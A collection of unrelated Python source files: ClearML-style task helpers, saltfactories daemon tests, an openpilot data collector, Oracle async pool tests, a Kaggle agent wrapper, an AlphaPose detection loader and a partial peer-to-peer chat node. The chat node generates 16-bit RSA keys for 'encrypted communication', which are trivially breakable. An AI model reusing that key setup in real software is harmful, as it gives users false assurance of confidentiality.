Optional[str] master_pid, _, master_task_id = PROC_MASTER_ID_ENV_VAR.get('').partition(':') # we could not find a task ID, revert to old stub behaviour if not master_task_id: return None return master_task_id @classmethod def __get_master_process_id(cls): # type: () -> Optional[str] master_task_id = PROC_MASTER_ID_ENV_VAR.get().split(':') # we could not find a task ID, revert to old stub behaviour if len(master_task_id) < 2 or not master_task_id[1]: return None return master_task_id[0] @classmethod def __is_subprocess(cls): # type: () -> bool # notice this class function is called from Task.ExitHooks, do not rename/move it. is_subprocess = PROC_MASTER_ID_ENV_VAR.get() and \ PROC_MASTER_ID_ENV_VAR.get().split(':')[0] != str(os.getpid()) return is_subprocess @classmethod def set_offline(cls, offline_mode=False): # type: (bool) -> None """ Set offline mode, where all data and logs are stored into local folder, for later transmission :param offline_mode: If True, offline-mode is turned on, and no communication to the backend is enabled. :return: """ if not running_remotely(): ENV_OFFLINE_MODE.set(offline_mode) InterfaceBase._offline_mode = bool(offline_mode) Session._offline_mode = bool(offline_mode) @classmethod def is_offline(cls): # type: () -> bool """ Return offline-mode state, If in offline-mode, no communication to the backend is enabled. :return: boolean offline-mode state """ return cls._offline_mode @classmethod def _get_task_status(cls, task_id): # type: (str) -> (Optional[str], Optional[str]) if cls._offline_mode: return tasks.TaskStatusEnum.created, 'offline' # noinspection PyBroadException try: all_tasks = cls._get_default_session().send( tasks.GetAllRequest(id=[task_id], only_fields=['status', 'status_message']), ).response.tasks return all_tasks[0].status, all_tasks[0].status_message except Exception: return None, None
test_daemon_factory.py
import functools import logging import pprint import re import sys import time import psutil import pytest from saltfactories.exceptions import FactoryNotRunning from saltfactories.exceptions import FactoryNotStarted from saltfactories.factories.base import DaemonFactory from saltfactories.utils import platform from saltfactories.utils.processes import _get_cmdline PROCESS_START_TIMEOUT = 2 def kill_children(procs): # pragma: no cover _, alive = psutil.wait_procs(procs, timeout=3) for p in alive: p.kill() def test_daemon_process_termination(request, tempfiles): primary_childrend_count = 5 secondary_children_count = 3 script = tempfiles.makepyfile( """ #!{shebang} # coding=utf-8 import time import multiprocessing def spin(): while True: try: time.sleep(0.25) except KeyboardInterrupt: break def spin_children(): procs = [] for idx in range({secondary_children_count}): proc = multiprocessing.Process(target=spin) proc.daemon = True proc.start() procs.append(proc) while True: try: time.sleep(0.25) except KeyboardInterrupt: break def main(): procs = [] for idx in range({primary_childrend_count}): proc = multiprocessing.Process(target=spin_children) procs.append(proc) proc.start() while True: try: time.sleep(0.25) except KeyboardInterrupt: break # We're not terminating child processes on purpose. Our code should handle it. # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """.format( shebang=sys.executable, primary_childrend_count=primary_childrend_count, secondary_children_count=secondary_children_count, ), executable=True, ) if not platform.is_windows(): factory_kwargs = dict(cli_script_name=script) else: # Windows don't know how to handle python scripts directly factory_kwargs = dict(cli_script_name=sys.executable, base_script_args=[script]) daemon = DaemonFactory(start_timeout=1, **factory_kwargs) daemon.start() daemon_pid = daemon.pid # Make sure the daemon is terminated no matter what request.addfinalizer(daemon.terminate) # Allow the script to start time.sleep(PROCESS_START_TIMEOUT) assert psutil.pid_exists(daemon_pid) proc = psutil.Process(daemon_pid) children = proc.children(recursive=True) request.addfinalizer(functools.partial(kill_children, children)) child_count = len(children) expected_count = primary_childrend_count + (primary_childrend_count * secondary_children_count) if platform.is_windows() and sys.version_info[:2] == (3, 7): # Under Python 3.7 and Windows we always seem to get +1 child # XXX: Don't forget to look what this extra child is expected_count += 1 assert child_count == expected_count, "{}!={}\n{}".format( child_count, expected_count, pprint.pformat([_get_cmdline(child) or child for child in children]), ) daemon.terminate() assert psutil.pid_exists(daemon_pid) is False for child in list(children): # pragma: no cover if psutil.pid_exists(child.pid): continue children.remove(child) assert not children, "len(children)=={} != 0\n{}".format( len(children), pprint.pformat([_get_cmdline(child) or child for child in children]) ) @pytest.mark.skip("Will debug later") def test_daemon_process_termination_parent_killed(request, tempfiles): primary_childrend_count = 5 secondary_children_count = 3 script = tempfiles.makepyfile( """ #!{shebang} # coding=utf-8 import time import multiprocessing def spin(): while True: try: time.sleep(0.25) except KeyboardInterrupt: break def spin_children(): procs = [] for idx in range({secondary_children_count}): proc = multiprocessing.Process(target=spin) proc.daemon = True proc.start() procs.append(proc) while True: try: time.sleep(0.25) except KeyboardInterrupt: break def main(): procs = [] for idx in range({primary_childrend_count}): proc = multiprocessing.Process(target=spin_children) procs.append(proc) proc.start() while True: try: time.sleep(0.25) except KeyboardInterrupt: break # We're not terminating child processes on purpose. Our code should handle it. # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """.format( shebang=sys.executable, primary_childrend_count=primary_childrend_count, secondary_children_count=secondary_children_count, ), executable=True, ) if not platform.is_windows(): factory_kwargs = dict(cli_script_name=script) else: # Windows don't know how to handle python scripts directly factory_kwargs = dict(cli_script_name=sys.executable, base_script_args=[script]) daemon = DaemonFactory(start_timeout=1, **factory_kwargs) daemon.start() daemon_pid = daemon.pid # Make sure the daemon is terminated no matter what request.addfinalizer(daemon.terminate) # Allow the script to start time.sleep(PROCESS_START_TIMEOUT) assert psutil.pid_exists(daemon_pid) proc = psutil.Process(daemon_pid) children = proc.children(recursive=True) request.addfinalizer(functools.partial(kill_children, children)) assert len(children) == primary_childrend_count + ( primary_childrend_count * secondary_children_count ) # Pretend the parent process died. proc.kill() time.sleep(0.5) # We should should still be able to terminate all child processes daemon.terminate() assert psutil.pid_exists(daemon_pid) is False psutil.wait_procs(children, timeout=3) for child in list(children): if psutil.pid_exists(child.pid): continue children.remove(child) assert not children, "len(children)=={} != 0\n{}".format( len(children), pprint.pformat(children) ) @pytest.mark.parametrize("start_timeout", [0.1, 0.3]) def test_started_context_manager(request, tempfiles, start_timeout): script = tempfiles.makepyfile( r""" # coding=utf-8 import sys import time import multiprocessing def main(): time.sleep(3) sys.stdout.write("Done!\n") sys.stdout.flush() sys.exit(0) # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """, executable=True, ) daemon = DaemonFactory( cli_script_name=sys.executable, base_script_args=[script], start_timeout=2, max_start_attempts=1, check_ports=[12345], ) # Make sure the daemon is terminated no matter what request.addfinalizer(daemon.terminate) with pytest.raises(FactoryNotStarted) as exc: daemon.start(start_timeout=start_timeout) match = re.search(r"which took (?P<seconds>.*) seconds", str(exc.value)) assert match # XXX: Revisit logic # seconds = float(match.group("seconds")) ## Must take at least start_timeout to start # assert seconds > start_timeout ## Should not take more than start_timeout + 0.3 to start and fail # assert seconds < start_timeout + 0.3 # And using a context manager? with pytest.raises(FactoryNotStarted) as exc: started = None with daemon.started(start_timeout=start_timeout): # We should not even be able to set the following variable started = False # pragma: no cover assert started is None match = re.search(r"which took (?P<seconds>.*) seconds", str(exc.value)) assert match # XXX: Revisit logic # seconds = float(match.group("seconds")) ## Must take at least start_timeout to start # assert seconds > start_timeout ## Should not take more than start_timeout + 0.3 to start and fail # assert seconds < start_timeout + 0.3 @pytest.fixture def factory_stopped_script(tempfiles): return tempfiles.makepyfile( r""" # coding=utf-8 import os import sys import time import socket import multiprocessing def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 12345)) sock.listen(5) try: while True: connection, address = sock.accept() connection.close() except (KeyboardInterrupt, SystemExit): pass finally: sock.close() sys.exit(0) # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """, executable=True, ) def test_stopped_context_manager_raises_FactoryNotRunning(request, factory_stopped_script): daemon = DaemonFactory( cli_script_name=sys.executable, base_script_args=[factory_stopped_script], start_timeout=3, max_start_attempts=1, check_ports=[12345], ) # Make sure the daemon is terminated no matter what request.addfinalizer(daemon.terminate) with pytest.raises(FactoryNotRunning): with daemon.stopped(): pass def test_stopped_context_manager(request, factory_stopped_script): daemon = DaemonFactory( cli_script_name=sys.executable, base_script_args=[factory_stopped_script], start_timeout=3, max_start_attempts=1, check_ports=[12345], ) # Make sure the daemon is terminated no matter what request.addfinalizer(daemon.terminate) with daemon.started(): assert daemon.is_running() with daemon.stopped(): assert daemon.is_running() is False assert daemon.is_running() def test_context_manager_returns_class_instance(tempfiles): script = tempfiles.makepyfile( r""" # coding=utf-8 import sys import time import multiprocessing def main(): while True: try: time.sleep(0.1) except KeyboardInterrupt: break sys.stdout.write("Done!\n") sys.stdout.flush() sys.exit(0) # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """, executable=True, ) daemon = DaemonFactory( cli_script_name=sys.executable, base_script_args=[script], start_timeout=1, max_start_attempts=1, ) # Without starting the factory started = d = None with pytest.raises(RuntimeError): with daemon as d: # We should not even be able to set the following variable started = d.is_running() # pragma: no cover assert d is None assert started is None # After starting the factory started = False daemon.start() with daemon as d: # We should not even be able to set the following variable started = d.is_running() assert d.is_running() is False assert started is True # By starting the factory and passing timeout directly started = False with daemon.started(start_timeout=1) as d: # We should not even be able to set the following variable started = d.is_running() assert d.is_running() is False assert started is True # By starting the factory without any keyword arguments started = False with daemon.started() as d: # We should not even be able to set the following variable started = d.is_running() assert d.is_running() is False assert started is True @pytest.mark.parametrize("max_start_attempts", [1, 2, 3]) def test_exact_max_start_attempts(tempfiles, caplog, max_start_attempts): """ This test asserts that we properly report max_start_attempts """ script = tempfiles.makepyfile( r""" # coding=utf-8 import sys import time import multiprocessing def main(): time.sleep(0.125) sys.exit(1) # Support for windows test runs if __name__ == '__main__': multiprocessing.freeze_support() main() """, executable=True, ) daemon = DaemonFactory( cli_script_name=sys.executable, base_script_args=[script], start_timeout=0.1, max_start_attempts=max_start_attempts, check_ports=[12345], ) with caplog.at_level(logging.INFO): with pytest.raises(FactoryNotStarted) as exc: daemon.start() assert "confirm running status after {} attempts".format(max_start_attempts) in str( exc.value ) start_attempts = [ "Attempt: {} of {}".format(n, max_start_attempts) for n in range(1, max_start_attempts + 1) ] for record in caplog.records: if not record.message.startswith("Starting DaemonFactory"): continue for idx, start_attempt in enumerate(list(start_attempts)): if start_attempt in record.message: start_attempts.pop(idx) assert not start_attempts
data_collector.py
from common.travis_checker import travis from selfdrive.swaglog import cloudlog from common.realtime import sec_since_boot from common.op_params import opParams import threading import os op_params = opParams() class DataCollector: def __init__(self, file_path, keys, write_frequency=60, write_threshold=2, log_data=True): """ This class provides an easy way to set up your own custom data collector to gather custom data. Parameters: file_path (str): The path you want your custom data to be written to. keys: (list): A string list containing the names of the values you want to collect. Your data list needs to be in this order. write_frequency (int/float): The rate at which to write data in seconds. write_threshold (int): The length of the data list we need to collect before considering writing. Example: data_collector = DataCollector('/data/openpilot/custom_data', ['v_ego', 'a_ego', 'custom_dict'], write_frequency=120) """ self.log_data = log_data self.file_path = file_path self.keys = keys self.write_frequency = write_frequency self.write_threshold = write_threshold self.data = [] self.last_write_time = sec_since_boot() self.thread_running = False self._initialize() def _initialize(self): # add keys to top of data file if not os.path.exists(self.file_path) and not travis: with open(self.file_path, "w") as f: f.write('{}\n'.format(self.keys)) def update(self, sample): """ Appends your sample to a central self.data variable that gets written to your specified file path every n seconds. Parameters: sample: Can be any type of data. List, dictionary, numbers, strings, etc. Or a combination: dictionaries, booleans, and floats in a list Continuing from the example above, we assume that the first value is your velocity, and the second is your acceleration. IMPORTANT: If your values and keys are not in the same order, you will have trouble figuring what data is what when you want to process it later. Example: data_collector.append([17, 0.5, {'a': 1}]) """ if self.log_data: if len(sample) != len(self.keys): raise Exception("You need the same amount of data as you specified in your keys") self.data.append(sample) self._check_if_can_write() def _reset(self, reset_type=None): if reset_type in ['data', 'all']: self.data = [] if reset_type in ['time', 'all']: self.last_write_time = sec_since_boot() def _check_if_can_write(self): """ You shouldn't ever need to call this. It checks if we should write, then calls a thread to do so with a copy of the current gathered data. Then it clears the self.data variable so that new data can be added and it won't be duplicated in the next write. If the thread is still writing by the time of the next write, which shouldn't ever happen unless you set a low write frequency, it will skip creating another write thread. If this occurs, something is wrong with writing. """ if (sec_since_boot() - self.last_write_time) >= self.write_frequency and len(self.data) >= self.write_threshold and not travis: if not self.thread_running: write_thread = threading.Thread(target=self._write, args=(self.data,)) write_thread.daemon = True write_thread.start() # self.write(self.data) # non threaded approach self._reset(reset_type='all') elif self.write_frequency > 30: cloudlog.warning('DataCollector write thread is taking a while to write data.') def _write(self, current_data): """ Only write data that has been added so far in background. self.data is still being appended to in foreground so in the next write event, new data will be written. This eliminates lag causing openpilot critical processes to pause while a lot of data is being written. """ self.thread_running = True with open(self.file_path, "a") as f: f.write('{}\n'.format('\n'.join(map(str, current_data)))) # json takes twice as long to write self._reset(reset_type='time') self.thread_running = False
test_drop.py
import os , sys sys.path.append(os.getcwd()) import pytest import asyncio import time from async_timeout import timeout from cx_Oracle_async import * import cx_Oracle import threading async def create_long_query(oracle_pool): async with oracle_pool.acquire() as conn: cursor = await conn.cursor() try: await cursor.execute("BEGIN DBMS_LOCK.SLEEP(:a); END;",(10,)) except Exception as e: assert isinstance(e , cx_Oracle.OperationalError) def create_long_query_sync(oracle_pool): ''' use sync function in order to avoid pytest loop never stop bug. ''' try: conn = oracle_pool._pool.acquire() cursor = conn.cursor() cursor.execute("BEGIN DBMS_LOCK.SLEEP(:a); END;",(10,)) except: ... @pytest.mark.asyncio async def test_force_close(): loop = asyncio.get_running_loop() dsn = makedsn('localhost','1521',sid='xe') INAQ = 0.5 oracle_pool = await create_pool(user='system',password='oracle',dsn=dsn) loop.create_task(create_long_query(oracle_pool)) st_time = time.time() await asyncio.sleep(2) await oracle_pool.close(force = True , interrupt = False) ed_time = time.time() assert (10 - INAQ) <= (ed_time - st_time) <= (10 + INAQ) # test occupy oracle_pool = await create_pool(user='system',password='oracle',dsn=dsn,max=4) conn1 = await oracle_pool.acquire() conn2 = await oracle_pool.acquire() assert len(oracle_pool._occupied) == 2 conn3 = await oracle_pool.acquire() assert len(oracle_pool._occupied) == 3 st_time = time.time() await asyncio.sleep(2) async with timeout(2): # no running task , return immediately await oracle_pool.close(force = True , interrupt = False) ed_time = time.time() assert (2 - INAQ) <= (ed_time - st_time) <= (2 + INAQ) # test interrupt oracle_pool = await create_pool(user='system',password='oracle',dsn=dsn,max=4) st_time = time.time() t = threading.Thread(target = create_long_query_sync , args = (oracle_pool,)) t.setDaemon(True) t.start() await asyncio.sleep(2) exception_flag = False try: async with timeout(2): # no response forever await oracle_pool.close(force = True , interrupt = True) except Exception as e: exception_flag = True assert isinstance(e , asyncio.TimeoutError) ed_time = time.time() assert exception_flag assert (4 - INAQ) <= (ed_time - st_time) <= (10 - INAQ)
main.py
from subprocess import Popen, PIPE from threading import Thread from queue import Queue, Empty import atexit import os import sys agent_processes = [None, None] t = None q = None def cleanup_process(): global agent_processes for proc in agent_processes: if proc is not None: proc.kill() def enqueue_output(out, queue): for line in iter(out.readline, b''): queue.put(line) out.close() def ts_agent(observation, configuration): """ a wrapper around a js agent """ global agent_processes, t, q agent_process = agent_processes[observation.player] ### Do not edit ### if agent_process is None: if "__raw_path__" in configuration: cwd = os.path.dirname(configuration["__raw_path__"]) else: cwd = os.path.dirname(__file__) agent_process = Popen(["node", "dist/main.js"], stdin=PIPE, stdout=PIPE, stderr=PIPE, cwd=cwd) agent_processes[observation.player] = agent_process atexit.register(cleanup_process) # following 4 lines from https://stackoverflow.com/questions/375427/a-non-blocking-read-on-a-subprocess-pipe-in-python q = Queue() t = Thread(target=enqueue_output, args=(agent_process.stderr, q)) t.daemon = True # thread dies with the program t.start() if observation.step == 0: # fixes bug where updates array is shared, but the first update is agent dependent actually observation["updates"][0] = f"{observation.player}" # print observations to agent agent_process.stdin.write(("\n".join(observation["updates"]) + "\n").encode()) agent_process.stdin.flush() # wait for data written to stdout agent1res = (agent_process.stdout.readline()).decode() _end_res = (agent_process.stdout.readline()).decode() while True: try: line = q.get_nowait() except Empty: # no standard error received, break break else: # standard error output received, print it out print(line.decode(), file=sys.stderr, end='') outputs = agent1res.split("\n")[0].split(",") actions = [] for cmd in outputs: if cmd != "": actions.append(cmd) return actions
detector.py
import os import sys from threading import Thread from queue import Queue import cv2 import numpy as np import torch import torch.multiprocessing as mp from alphapose.utils.presets import SimpleTransform from alphapose.models import builder class DetectionLoader: def __init__( self, input_source, detector, cfg, opt, mode="image", batchSize=1, queueSize=128 ): self.cfg = cfg self.opt = opt self.mode = mode self.device = opt.device if mode == "image": self.img_dir = opt.inputpath self.imglist = [ os.path.join(self.img_dir, im_name.rstrip("\n").rstrip("\r")) for im_name in input_source ] self.datalen = len(input_source) elif mode == "video": stream = cv2.VideoCapture(input_source) assert stream.isOpened(), "Cannot capture source" self.path = input_source self.datalen = int(stream.get(cv2.CAP_PROP_FRAME_COUNT)) self.fourcc = int(stream.get(cv2.CAP_PROP_FOURCC)) self.fps = stream.get(cv2.CAP_PROP_FPS) self.frameSize = ( int(stream.get(cv2.CAP_PROP_FRAME_WIDTH)), int(stream.get(cv2.CAP_PROP_FRAME_HEIGHT)), ) self.videoinfo = { "fourcc": self.fourcc, "fps": self.fps, "frameSize": self.frameSize, } stream.release() self.detector = detector self.batchSize = batchSize leftover = 0 if (self.datalen) % batchSize: leftover = 1 self.num_batches = self.datalen // batchSize + leftover self._input_size = cfg.DATA_PRESET.IMAGE_SIZE self._output_size = cfg.DATA_PRESET.HEATMAP_SIZE self._sigma = cfg.DATA_PRESET.SIGMA pose_dataset = builder.retrieve_dataset(self.cfg.DATASET.TRAIN) if cfg.DATA_PRESET.TYPE == "simple": self.transformation = SimpleTransform( pose_dataset, scale_factor=0, input_size=self._input_size, output_size=self._output_size, rot=0, sigma=self._sigma, train=False, add_dpg=False, gpu_device=self.device, ) # initialize the queue used to store data """ image_queue: the buffer storing pre-processed images for object detection det_queue: the buffer storing human detection results pose_queue: the buffer storing post-processed cropped human image for pose estimation """ if opt.sp: self._stopped = False self.image_queue = Queue(maxsize=queueSize) self.det_queue = Queue(maxsize=10 * queueSize) self.pose_queue = Queue(maxsize=10 * queueSize) else: self._stopped = mp.Value("b", False) self.image_queue = mp.Queue(maxsize=queueSize) self.det_queue = mp.Queue(maxsize=10 * queueSize) self.pose_queue = mp.Queue(maxsize=10 * queueSize) def start_worker(self, target): if self.opt.sp: p = Thread(target=target, args=()) else: p = mp.Process(target=target, args=()) # p.daemon = True p.start() return p def start(self): # start a thread to pre process images for object detection if self.mode == "image": image_preprocess_worker = self.start_worker(self.image_preprocess) elif self.mode == "video": image_preprocess_worker = self.start_worker(self.frame_preprocess) # start a thread to detect human in images image_detection_worker = self.start_worker(self.image_detection) # start a thread to post process cropped human image for pose estimation image_postprocess_worker = self.start_worker(self.image_postprocess) return [ image_preprocess_worker, image_detection_worker, image_postprocess_worker, ] def stop(self): # clear queues self.clear_queues() def terminate(self): if self.opt.sp: self._stopped = True else: self._stopped.value = True self.stop() def clear_queues(self): self.clear(self.image_queue) self.clear(self.det_queue) self.clear(self.pose_queue) def clear(self, queue): while not queue.empty(): queue.get() def wait_and_put(self, queue, item): queue.put(item) def wait_and_get(self, queue): return queue.get() def image_preprocess(self): for i in range(self.num_batches): imgs = [] orig_imgs = [] im_names = [] im_dim_list = [] for k in range( i * self.batchSize, min((i + 1) * self.batchSize, self.datalen) ): if self.stopped: self.wait_and_put(self.image_queue, (None, None, None, None)) return im_name_k = self.imglist[k] # expected image shape like (1,3,h,w) or (3,h,w) img_k = self.detector.image_preprocess(im_name_k) if isinstance(img_k, np.ndarray): img_k = torch.from_numpy(img_k) # add one dimension at the front for batch if image shape (3,h,w) if img_k.dim() == 3: img_k = img_k.unsqueeze(0) orig_img_k = cv2.cvtColor( cv2.imread(im_name_k), cv2.COLOR_BGR2RGB ) # scipy.misc.imread(im_name_k, mode='RGB') is depreciated im_dim_list_k = orig_img_k.shape[1], orig_img_k.shape[0] imgs.append(img_k) orig_imgs.append(orig_img_k) im_names.append(os.path.basename(im_name_k)) im_dim_list.append(im_dim_list_k) with torch.no_grad(): # Human Detection imgs = torch.cat(imgs) im_dim_list = torch.FloatTensor(im_dim_list).repeat(1, 2) # im_dim_list_ = im_dim_list self.wait_and_put( self.image_queue, (imgs, orig_imgs, im_names, im_dim_list) ) def frame_preprocess(self): stream = cv2.VideoCapture(self.path) assert stream.isOpened(), "Cannot capture source" for i in range(self.num_batches): imgs = [] orig_imgs = [] im_names = [] im_dim_list = [] for k in range( i * self.batchSize, min((i + 1) * self.batchSize, self.datalen) ): (grabbed, frame) = stream.read() # if the `grabbed` boolean is `False`, then we have # reached the end of the video file if not grabbed or self.stopped: # put the rest pre-processed data to the queue if len(imgs) > 0: with torch.no_grad(): # Record original image resolution imgs = torch.cat(imgs) im_dim_list = torch.FloatTensor(im_dim_list).repeat(1, 2) self.wait_and_put( self.image_queue, (imgs, orig_imgs, im_names, im_dim_list) ) self.wait_and_put(self.image_queue, (None, None, None, None)) print( "===========================> This video get " + str(k) + " frames in total." ) sys.stdout.flush() stream.release() return # expected frame shape like (1,3,h,w) or (3,h,w) img_k = self.detector.image_preprocess(frame) if isinstance(img_k, np.ndarray): img_k = torch.from_numpy(img_k) # add one dimension at the front for batch if image shape (3,h,w) if img_k.dim() == 3: img_k = img_k.unsqueeze(0) im_dim_list_k = frame.shape[1], frame.shape[0] imgs.append(img_k) orig_imgs.append(frame[:, :, ::-1]) im_names.append(str(k) + ".jpg") im_dim_list.append(im_dim_list_k) with torch.no_grad(): # Record original image resolution imgs = torch.cat(imgs) im_dim_list = torch.FloatTensor(im_dim_list).repeat(1, 2) # im_dim_list_ = im_dim_list self.wait_and_put( self.image_queue, (imgs, orig_imgs, im_names, im_dim_list) ) stream.release() def image_detection(self): for i in range(self.num_batches): imgs, orig_imgs, im_names, im_dim_list = self.wait_and_get(self.image_queue) if imgs is None or self.stopped: self.wait_and_put( self.det_queue, (None, None, None, None, None, None, None) ) return with torch.no_grad(): # pad useless images to fill a batch, else there will be a bug for pad_i in range(self.batchSize - len(imgs)): imgs = torch.cat((imgs, torch.unsqueeze(imgs[0], dim=0)), 0) im_dim_list = torch.cat( (im_dim_list, torch.unsqueeze(im_dim_list[0], dim=0)), 0 ) dets = self.detector.images_detection(imgs, im_dim_list) if isinstance(dets, int) or dets.shape[0] == 0: for k in range(len(orig_imgs)): self.wait_and_put( self.det_queue, (orig_imgs[k], im_names[k], None, None, None, None, None), ) continue if isinstance(dets, np.ndarray): dets = torch.from_numpy(dets) dets = dets.cpu() boxes = dets[:, 1:5] scores = dets[:, 5:6] if self.opt.tracking: ids = dets[:, 6:7] else: ids = torch.zeros(scores.shape) for k in range(len(orig_imgs)): boxes_k = boxes[dets[:, 0] == k] if isinstance(boxes_k, int) or boxes_k.shape[0] == 0: self.wait_and_put( self.det_queue, (orig_imgs[k], im_names[k], None, None, None, None, None), ) continue inps = torch.zeros(boxes_k.size(0), 3, *self._input_size) cropped_boxes = torch.zeros(boxes_k.size(0), 4) self.wait_and_put( self.det_queue, ( orig_imgs[k], im_names[k], boxes_k, scores[dets[:, 0] == k], ids[dets[:, 0] == k], inps, cropped_boxes, ), ) def image_postprocess(self): for i in range(self.datalen): with torch.no_grad(): ( orig_img, im_name, boxes, scores, ids, inps, cropped_boxes, ) = self.wait_and_get(self.det_queue) if orig_img is None or self.stopped: self.wait_and_put( self.pose_queue, (None, None, None, None, None, None, None) ) return if boxes is None or boxes.nelement() == 0: self.wait_and_put( self.pose_queue, (None, orig_img, im_name, boxes, scores, ids, None), ) continue # imght = orig_img.shape[0] # imgwidth = orig_img.shape[1] for i, box in enumerate(boxes): inps[i], cropped_box = self.transformation.test_transform( orig_img, box ) cropped_boxes[i] = torch.FloatTensor(cropped_box) # inps, cropped_boxes = self.transformation.align_transform(orig_img, boxes) self.wait_and_put( self.pose_queue, (inps, orig_img, im_name, boxes, scores, ids, cropped_boxes), ) def read(self): return self.wait_and_get(self.pose_queue) @property def stopped(self): if self.opt.sp: return self._stopped else: return self._stopped.value @property def length(self): return self.datalen
node.py
import socket from threading import Thread from time import sleep import logging import random from typing import Optional import rsa from .peer import Peer from ..config import Config from ..protocol import Header, Message, types, utils class Node(Thread): def __init__(self, port: int, b_addr: tuple[str, int]): """Initiates a new node (have to call `run` to activate the node).""" Thread.__init__(self) self.ip = socket.gethostbyname(socket.gethostname()) """IP of this node""" self.port = port """Port of this node""" self.host_addr = (self.ip, self.port) """IP and port tuple of this node as addressable in the network.""" self.pub_key, self.private_key = rsa.newkeys(16) """Public and private keys of this node for encrypted communication""" self.peer_id = utils.pub_key_to_peer_id(self.pub_key) """Peer ID for this node.""" self.inbound_neighbours: list[Peer] = [] """List of active inbound connections from neighbour peers.""" self.outbound_neighbours: list[Peer] = [] """List of active outbound connections to neighbour peers.""" self.recv_pings: dict[str, tuple[str, int]] = {} """Dictionary mapping message IDs of received pings to the address tuple of the respective sender.""" self.recv_queries: dict[str, tuple[str, int]] = {} """Dictionary mapping public keys of received queries to the address tuple of the respective sender.""" self.sent_pings: list[str] = [] """List of message IDs of sent pings.""" self.sent_queries: list[str] = [] """List of message IDs of sent queries.""" self.neighbour_candidates: list[tuple[str, int]] = [] """List of neighbour candidates from ping-pong discovery.""" self.recipient_id_map: dict[str, Optional[tuple[str, int]]] = {} """Dictionary mapping peer ids to the address tuple of the recipient""" self.b_addr = b_addr """IP and port tuple of the bootstrapping peer.""" self.s = None """Listening socket from this peer.""" def run(self): """Runs a node listening for connections.""" self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.s.bind((socket.gethostname(), self.port)) self.s.listen(Config.max_connections) bt = Thread(target=self.bootstrap, args=[self.b_addr]) bt.start() logging.info(f'Node with peer ID <{self.peer_id}> reachable at {self.ip} on port {self.port}...') try: while True: (client, addr) = self.s.accept() logging.debug(f'Accept connection from {addr}, socket {client}') ct = Thread(target=self.reply, args=[client]) ct.start() except KeyboardInterrupt: self.shutdown() def shutdown(self): # teardown connections to neighbours logging.info('Disconnecting from peers...') for n in self.outbound_neighbours: logging.debug(f'Disconnect from neighbour: {n}') n.send(Message(types.MsgType.BYE, self.host_addr)) # signal neighbor to close its connection n.disconnect() # close own outgoing connection to neighbour # wait for other peers to handle bye message sleep(1) try: self.s.shutdown(socket.SHUT_RDWR) self.s.close() except OSError as e: logging.warning(f"Encountered exception during shutdown: {e}") def bootstrap(self, addr: tuple[str, int]): """Joins the network by sending a ping message to the given address.""" # send ping to bootstrapping peer logging.info('Attempting to bootstrap using %s:%s...' % addr) if addr == self.host_addr: logging.warning('Aborting bootstrap: Cannot bootstrap with yourself. Continuing as detached peer.') return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(addr) except ConnectionRefusedError: logging.warning('Bootstrapping failed. Continuing as detached peer.') return logging.debug('Sending message of type PING to %s:%d' % addr) ping_msg = Message(types.MsgType.PING, self.host_addr) self.sent_pings.append(ping_msg.get_id()) s.send(ping_msg.bytes()) logging.debug(f'Message print out: {ping_msg}') # wait for some pongs sleep(3) logging.debug('Received neighbour candidates: {}'.format(self.neighbour_candidates)) neighbour_addrs = random.sample( self.neighbour_candidates, Config.neighbours if len(self.neighbour_candidates) >= Config.neighbours else len(self.neighbour_candidates) ) for addr in neighbour_addrs: # TODO use a join method with exchange of peer_ids in order to build symmetrical neighbour relations logging.info('Connecting new neighbour (bootstrapping): {}'.format(addr)) self.outbound_neighbours.append(Peer(addr)) # add peer id to Peer logging.debug(f'Current neighbours: {self.outbound_neighbours}') self.neighbour_candidates = [] logging.debug(f'Finished bootstrapping process for node with {self.pub_key}') # TODO Send a test message to bootstrapping peer? But we need the peer id somehow # Function must not be called "join" because it'd overwrite the `join` fn of mother class `Thread`! def peer_join(self, addr): """Initiates the process of building a neighbour relation with a peer.""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(addr) s.settimeout(3) join_msg = Message(msg_type=types.MsgType.JOIN, sender=self.host_addr, payload=self.peer_id) logging.debug(f"Message printout: {join_msg}") s.send(join_msg.bytes()) try: peer_id = s.recv(1024).decode('utf-8')[:32] # mapping from Peer.socket.getpeername() to peer id self.outbound_neighbours.append(Peer(addr=addr, peer_id=peer_id, s=s)) return True except Exception as e: logging.warning(f"Handle join function failed. ({e})") # Join failed, close socket try: s.shutdown(socket.SHUT_RDWR) s.close() except OSError as e: logging.warning(e) return False def post_msg(self, chat_msg: str, peer_id: str): """Posts message""" def send_msg(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(self.recipient_id_map[peer_id]) # TODO encrypt chat message payload = peer_id + chat_msg post_msg = Message(types.MsgType.POST, self.host_addr, payload=payload) logging.debug(f'Sending message of type POST to {self.recipient_id_map[peer_id]}') logging.debug(f'Message printout: {post_msg}') s.send(post_msg.bytes()) except Exception as e: logging.error(f"{e}: Recipient not reachable via {self.recipient_id_map[peer_id]}") self.recipient_id_map[peer_id] = None # reset address mapping try: s.shutdown(socket.SHUT_RDWR) s.close() except OSError as e: logging.warning(e) if peer_id not in self.recipient_id_map or not self.recipient_id_map[peer_id]: self.recipient_id_map[peer_id] = None # We do not know the recipient's address, do a query num_of_neighbours = len(self.outbound_neighbours) logging.debug('Sending query to %d neighbours.' % num_of_neighbours) query_msg = Message(types.MsgType.QUERY, self.host_addr, payload=peer_id) logging.debug(f'Message printout: {query_msg}') self.recipient_id_map[peer_id] = None for n in self.outbound_neighbours: n.send(query_msg) # wait for query hit sleep(3) if self.recipient_id_map[peer_id]: send_msg() return else: logging.warning(f'Failed to send the message. Did not find recipient {peer_id}') def reply(self, client: socket): """Handles incoming requests.""" connected = True while connected: # TODO fix struct.error bug with zero bytes, occurs when # - peers (all except bootstrapping peer) shutdown via ctrl+c (from all neighbours, inbound connections) # - bootstrapping peer gets it from all the peers after some time # --> probably need to be able to identify 